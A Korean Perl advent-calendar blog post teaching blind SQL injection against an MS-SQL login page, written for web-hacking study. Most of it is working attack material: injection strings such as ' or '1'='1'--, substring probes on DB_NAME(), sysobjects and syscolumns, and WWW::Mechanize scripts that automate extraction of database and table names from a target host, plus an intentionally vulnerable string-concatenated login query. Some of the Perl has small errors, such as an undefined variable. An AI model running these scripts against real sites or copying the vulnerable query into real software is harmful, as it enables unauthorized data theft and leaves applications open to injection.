열일곱번째 날: Perl과 보안: SQL Injection, Blind

저자

@vohrmana - 보안에 관한 연구 및 강의 진행합니다. 게임으로 영어공부 중, 무려 5년만만에 달력 쓰네요, 예랑이

시작하며

우리는 펄(Perl)을 이용하여 문자열을 쾌적하게 다룰 수 있는 방법을 알고 있습니다. C만 했던 예전의 저에겐 몹시도 파격적이었죠. 시간 가는 줄 모르고 펄을 이용해 별 쓸모없는 코드들을 만들곤 했습니다. 그 중 웹 해킹 공부를 위해 만들었던 코드 하나를 소개합니다. 함께 SQL 삽입(SQL injection)블라인드(blind) 기법에 대해 알아보고 자동으로 블라인드 공격을 수행하는 툴을 간단하게 만들어 볼까 합니다. 무엇보다 SQL 삽입을 수행하기 위해 웹에 접근할 수 있는 수단이 필요합니다. CPAN의 WWW::Mechanize 모듈도 좋고, CPAN의 LWP 모듈도 좋습니다. 당연하지만 펄과 SQL에 대한 지식이 조금은 필요합니다. 원하는 정보를 빨리 찾아내기 위한 탐색 기법이나 스레드에 대한 기법이 필요할 수도 있지만 단순함을 위해 언급하지 않습니다.

준비물

필요한 모듈은 다음과 같습니다.

직접 CPAN을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.

$ sudo cpan WWW::Mechanize

사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나 perlbrew를 이용해서 자신만의 Perl을 사용하고 있다면 다음 명령을 이용해서 모듈을 설치합니다.

$ cpan WWW::Mechanize

SQL Injection: Blind

SQL 삽입이란 사용자가 서버에게 전송한 데이터가 SQL 질의(query)에 삽입(injection)되어 서버 사이드에 영향을 주게 되는 공격 기법입니다. 크게 몇가지 패턴으로 나눠 보자면 다음과 같습니다.

왜 하필 블라인드 기법이냐면, MASS SQL을 제외하고는 문자열이 가장 많이 들어가기 때문입니다. 단지 그 뿐입니다. ;-)

여기 취약한 페이지가 있습니다!

단순하게 로그인 기능만 들어있는 사이트를 대상으로 합니다.

login 그림 1. 취약점을 가진 로그인 화면 (원본)

서버측의 코드 중 로그인을 수행하는 부분의 코드가 다음과 같다고 해보죠. 원래 이러면 안 되지만 취약점을 포함한채로 만들었습니다. 우리는 블라인드 SQL 삽입을 수행해야 하니까요! :-)

strSQL="select * from member where user_id='"&id&"' and user_pw='"&password&"'"

idtest ' or '1'='1'--으로, password'blah'로 SQL 삽입을 수행해볼까요? 이 경우 서버는 다음과 같은 코드를 수행할 것입니다.

strSQL="select * from member where user_id='test' or '1'='1'--' and user_pw='blah'"

좀 무섭죠? :-)

데이터베이스 이름 찾기

우선 데이터베이스 이름을 찾아보도록 하죠. 일반적으로 DB 이름을 출력하기 위해 DB_NAME()을 이용합니다. mana라는 계정은 이미 존재하는 계정입니다.

strSQL="select * from member where user_id='mana' and substring(DB_NAME(),1,1)='a'--' and user_pw='blah'"

user_id 입력 부분부터 주석처리(--)까지 살펴보면 substring을 이용해 첫 번째 글자부터 한 글자를 잘라내어 a와 비교하는 것을 볼 수 있습니다. 만약 첫 글자가 a라면 결과는 참이 되면서 mana라는 계정으로 로그인되겠죠? 이러한 특징을 이용해 패턴을 뽑아본 코드는 다음과 같습니다.

strSQL="select * from member where user_id='mana' and substring(DB_NAME(),$i,1)='$char'--' and user_pw='blah'"

$i$char를 반복적으로 변경하며 사이트에 요청을 보내는 펄 코드를 작성해보죠.

#!/usr/bin/env perl

use strict;
use warnings;

use WWW::Mechanize;

my $mech = WWW::Mechanize->new();

print "=====DB_NAME====\n";

my @db_name;
my $i = 1;
my $flag;
while (1) {
    local $| = 1;
    $flag = 0;
    for my $char ( "", 'a' .. 'z', 0 .. 9, '_' ) {
        $mech->get('http://172.168.19.133/member/member_login.asp');
        $mech->submit_form(
            form_name => 'form',
            fields    => {
                user_id => "mana' and substring(DB_NAME(),$i,1)='$char'--",
                user_pw => 'blah'
            }
        );

        if ( $n eq "" && $mech->content !~ /alert/ ) {
            $mech->get('http://172.168.19.133/member/member_logout.asp');
            $flag = 1;
            last;
        }

        unless ( $mech->content =~ /alert/ ) {
            print $n;
            push @db_name, $char;
            $mech->get('http://172.168.19.133/member/member_logout.asp');

            $i++;
            last;
        }
    }

    last if $flag;
}

로그인 성공시 메인페이지로 리다이렉트 되며, 로그인 실패시 실패에 관련된 경고가 뜨도록 했습니다. 편의상 WWW::Mechanize 모듈을 사용하였지만 HTTP 트래픽을 보낼수 있다면 어떤 모듈이라도 상관없습니다. 해당 코드를 실행시키면 데이터베이스 이름을 얻어 올 수 있겠죠?

테이블 이름 찾기

기본적으로 MS-SQL에서는 모든 테이블의 정보가 sysobjects 테이블에 있습니다. 데이터베이스 이름을 알아낸 것 처럼 테이블 이름을 알아내는 코드를 만들어보죠.

strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='a'--' and user_pw='blah'"

sysobjects 테이블에서 xtype'U'(사용자 정의 테이블)인 테이블을 대상으로 출력되어지는 가장 첫 번째 테이블의 이름을 substring함수를 이용해 첫 번째 문자부터 한 개의 문자를 'a'와 비교하는 코드입니다. 마찬가지로 패턴을 뽑아보면 다음처럼 표현할 수 있습니다.

strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U'),$i,1)='$char'--' and user_pw='blah'"

이제 우리는 테이블 이름 한 개를 얻을 수 있습니다. 하지만 아직 나머지 테이블 이름은 얻어 올 수가 없죠. 우리가 얻어온 첫 번째 테이블 명이 member라는 테이블이라면, 두 번째 테이블을 얻어오기 위해 패턴을 변경해야 합니다.

strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U' and name!='member'),$i,1)='$char'--' and user_pw='blah'"

sysobjects 테이블에서 member 테이블을 제외시켜 출력했는데, 이 내용을 포함시켜 패턴을 뽑아보면 다음처럼 표현할 수 있습니다.

strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U' $base_query),$i,1)='$char'--' and user_pw='blah'"

이번에는 $base_query 부분에 찾아낸 모든 테이블 명을 제외시키는 내용이 들어갑니다. 몇 개의 테이블이 존재하는지 모르기 때문에 우선 몇 개의 테이블이 존재하는지 확인을 해야겠네요. 테이블 개수를 알아야 반복문을 만들 때 반복 횟수를 결정할 수 있겠죠?

my $cnt;
for ( $cnt = 1;; $cnt++ ) {
    $mech->get('http://172.168.19.133/member/member_login.asp');
    $mech->submit_form(
        form_name => 'form',
        fields    => {
            user_id => "mana' and(select count(name) from sysobjects where xtype='U')=$cnt--",
            user_pw => 'blah'
        }
    );
    unless ( $mech->content =~ /alert/ ) {
        print $cnt;
        $mech->get('http://172.168.19.133/member/member_logout.asp');
        last;
    }
}

count 함수를 이용하여 간단하게 몇개의 테이블이 있는지 확인할 수 있습니다. 반복 횟수가 나왔으니 드디어 모든 테이블 명을 알아올 수 있습니다!

print "\n" . "=" x 20 . "\n";
print "=====TABLE_NAME====\n";
@table_name;
@all_table;
$i          = 1;
$base_query = "";
for ( 1 .. $cnt ) {
    while (1) {
        $inner_flag = 0;
        for $char ( "", 'a' .. 'z', 0 .. 9, '_' ) {
            $mech->get('http://172.168.19.133/member/member_login.asp');

            $mech->submit_form(
                form_name => 'form',
                fields    => {
                    user_id => "mana' and substring((select top 1 name from sysobjects where xtype='U' $base_query),$i,1)='$char'--",
                    user_pw => 'blah'
                }
            );

            if ( $char eq "" && $mech->content !~ /alert/ ) {
                $mech->get(
                    'http://172.168.19.133/member/member_logout.asp');
                $inner_flag = 1;
                last;
            }

            unless ( $mech->content =~ /alert/ ) {
                print $char;
                push @table_name, $char;
                $i++;
                $outter_flag = 0;
                $mech->get('http://172.168.19.133/member/member_logout.asp');
                last;
            }
        }

        if ($inner_flag) {
            push @all_table, join( '', @table_name );
            $base_query .= " and name!='" . join( '', @table_name ) . "' ";
            print "\n";
            $i          = 1;
            @table_name = ();
            last;
        }
    }
}

$base_query 변수는 반복문을 돌면서 계속 변하는 값입니다. 처음에는 and name != 'table1'으로 시작해 and name != 'table1' and name != 'table2'와 같은 식으로 계속해서 첨부되어 갱신됩니다. 나머지 내용은 데이터베이스 이름을 알아오는 이전 코드와 거의 동일합니다.

마지막 질의만 확인해 본다면 꽤 길겠죠?

mana' and substring((select top 1 name from sysobjects where xtype='U'  and name!='table1'  and name!='table2'  and name!='table3' ),7,1)=''--

C나 JAVA를 알고 있다면 지금까지의 내용을 해당 언어로 작성해 보는 것을 추천드립니다. 그래야 펄을 쓰고 싶어지거든요. ;-)

컬럼 이름 찾기

지금까지의 코드라면 취약한 사이트의 데이터베이스와 테이블의 이름을 확보했습니다. 이제 컬럼명을 찾아내야 할 차례지만 이는 여러분의 몫입니다. 대신 만드는 방법을 간단히 귀띔해드리죠.

MS-SQL에서 모든 컬럼을 저장하고 있는 syscolumns 테이블을 이용해야 합니다. 사용자 정의 테이블의 내용만 얻어오기 위한 질의는 다음과 같습니다.

select name from syscolumns where id = ( select id from sysobjects where name='table' )

이 때 table에는 이전에 알아낸 테이블 이름을 넣어주면 되겠죠? 현재 제가 SQL 삽입을 테스트 하던 사이트의 경우 최종적으로 만들어진 질의는 이런 느낌입니다.

mana' and substring((select top 1 name from syscolumns where id=(select top 1 id
from sysobjects where xtype='U'  and name!='zipcode'  and name!='board'
and name!='dtproperties' )  and name!='address1'  and name!='address2'  and name!='age'
and name!='email'  and name!='homepage'  and name!='id'  and name!='name'  an
d name!='nickname'  and name!='user_id'  and name!='user_pw'  and name!='zipcode'
),1,1)='_'--

단순한 패턴이지만 참 길게 느껴지네요. 여기까지의 내용으로 데이터베이스의 구조적인 내용들을 알아냈다면, 이제는 데이터도 추출이 가능합니다. 꼭 성공(?)하시길!!

정리하며

펄(Perl)의 장점인 문자열을 편하게 다룰 수 있다는 것을 보여드리고 싶었는데 잘 전달되었는지 모르겠네요. 그래도 직접 만들어 보시면 C나 JAVA와는 비교조차 할 수 없을 정도로 편하다는 것을 깨달을 수 있죠. 제가 사용한 방법이 정석은 아닙니다. SQL 삽입(SQL injection)블라인드(blind) 기법 및 이를 구현하는 펄 코드는 여러가지 다양한 응용 방법이 있으니 너무 기사에 보인 내용에 너무 얽매이진 말고 학문적인 내용으로만 봐주세요. :-)

blog comments powered by Disqus